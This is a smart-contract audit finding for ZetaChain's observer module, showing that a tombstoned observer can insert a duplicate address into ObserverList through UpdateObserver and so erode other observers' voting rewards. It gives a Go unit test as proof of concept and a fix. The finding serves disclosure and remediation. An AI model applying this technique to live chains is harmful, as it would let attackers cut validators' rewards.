Open c4-bot-9 opened 11 months ago
DadeKuma marked the issue as duplicate of #203
Coded POC
DadeKuma marked the issue as high quality report
DadeKuma marked the issue as not a duplicate
DadeKuma marked the issue as primary issue
lumtis (sponsor) confirmed
0xean marked the issue as satisfactory
0xean marked the issue as selected for report
Lines of code
https://github.com/code-423n4/2023-11-zetachain/blob/b237708ed5e86f12c4bddabddfd42f001e81941a/repos/node/x/observer/keeper/msg_server_update_observer.go#L36
Vulnerability details
Impact
ObserverList
contains duplicates, any newly created ballots will have duplicates in theirVoterList
. As a result, this prevents an observer from receiving voting rewards as the reward for the legitimate vote would be offset by the penalty received for missing the vote for the duplicate observer address (repeatedly voting for a ballot with the same address does not work).Proof of Concept
The
MsgUpdateObserver
message, handled in theUpdateObserver
function, allows the admin or an (tombstoned) observer to update the observer address.Internally, in line
36
, theUpdateObserverAddress
function is called to update the observer address in theObserverMapper
for each chain.However, a tombstoned observer is able to maliciously add a duplicate observer to the list by specifying an observer address (
NewObserverAddress
) in theMsgUpdateObserver
message that is already in theObserverList
list.As a result, the
ObserverList
list contains duplicates.For the specific impact, please refer to the Impact section.
Test Case
The following test case demonstrates how the tombstoned
validator
can add a duplicate observer address:Test case (click to reveal)
```go func TestAddDuplicateObserver(t *testing.T) { k, ctx := keepertest.ObserverKeeper(t) srv := keeper.NewMsgServerImpl(*k) // #nosec G404 test purpose - weak randomness is not an issue here r := rand.New(rand.NewSource(9)) // Set validator in the store validator := sample.Validator(t, r) validatorOther := sample.Validator(t, r) validatorOther.Status = stakingtypes.Bonded validatorNew := sample.Validator(t, r) validatorNew.Status = stakingtypes.Bonded k.GetStakingKeeper().SetValidator(ctx, validatorNew) k.GetStakingKeeper().SetValidator(ctx, validator) k.GetStakingKeeper().SetValidator(ctx, validatorOther) consAddress, err := validator.GetConsAddr() assert.NoError(t, err) k.GetSlashingKeeper().SetValidatorSigningInfo(ctx, consAddress, slashingtypes.ValidatorSigningInfo{ Address: consAddress.String(), StartHeight: 0, JailedUntil: ctx.BlockHeader().Time.Add(1000000 * time.Second), Tombstoned: true, MissedBlocksCounter: 1, }) chains := k.GetParams(ctx).GetSupportedChains() accAddressOfValidator, err := types.GetAccAddressFromOperatorAddress(validator.OperatorAddress) assert.NoError(t, err) accAddressOfOtherValidator, err := types.GetAccAddressFromOperatorAddress(validatorOther.OperatorAddress) assert.NoError(t, err) // newOperatorAddress, err := types.GetAccAddressFromOperatorAddress(validatorNew.OperatorAddress) // assert.NoError(t, err) count := uint64(0) for _, chain := range chains { k.SetObserverMapper(ctx, &types.ObserverMapper{ ObserverChain: chain, ObserverList: []string{accAddressOfValidator.String(), accAddressOfOtherValidator.String()}, }) count += 2 } k.SetNodeAccount(ctx, types.NodeAccount{ Operator: accAddressOfValidator.String(), }) k.SetLastObserverCount(ctx, &types.LastObserverCount{ Count: count, }) _, err = srv.UpdateObserver(sdk.WrapSDKContext(ctx), &types.MsgUpdateObserver{ Creator: accAddressOfValidator.String(), OldObserverAddress: accAddressOfValidator.String(), NewObserverAddress: accAddressOfOtherValidator.String(), UpdateReason: types.ObserverUpdateReason_Tombstoned, }) assert.NoError(t, err) acc, found := k.GetNodeAccount(ctx, accAddressOfOtherValidator.String()) assert.True(t, found) assert.Equal(t, accAddressOfOtherValidator.String(), acc.Operator) mapper, _ := k.GetObserverMapper(ctx, chains[0]) assert.ElementsMatch(t, mapper.ObserverList, []string{accAddressOfOtherValidator.String(), accAddressOfOtherValidator.String()}) // @audit-info Duplicate observers } ``` **How to run this test case:** Copy-pase the test case into `repos/node/x/observer/keeper/msg_server_update_observer_test.go` and run with `go test -v ./x/observer/keeper/msg_server_update_observer_test.go --run TestAddDuplicateObserver` **Result:** The test will pass.Please note that an admin can also accidentally add duplicate observers, node/x/observer/keeper/msg_server_add_observer.go#L47
Tools Used
Manual review
Recommended mitigation steps
Consider checking in the
UpdateObserverAddress
function if thenewObserverAddress
is already in the list and return an error if it is.Assessed type
Invalid Validation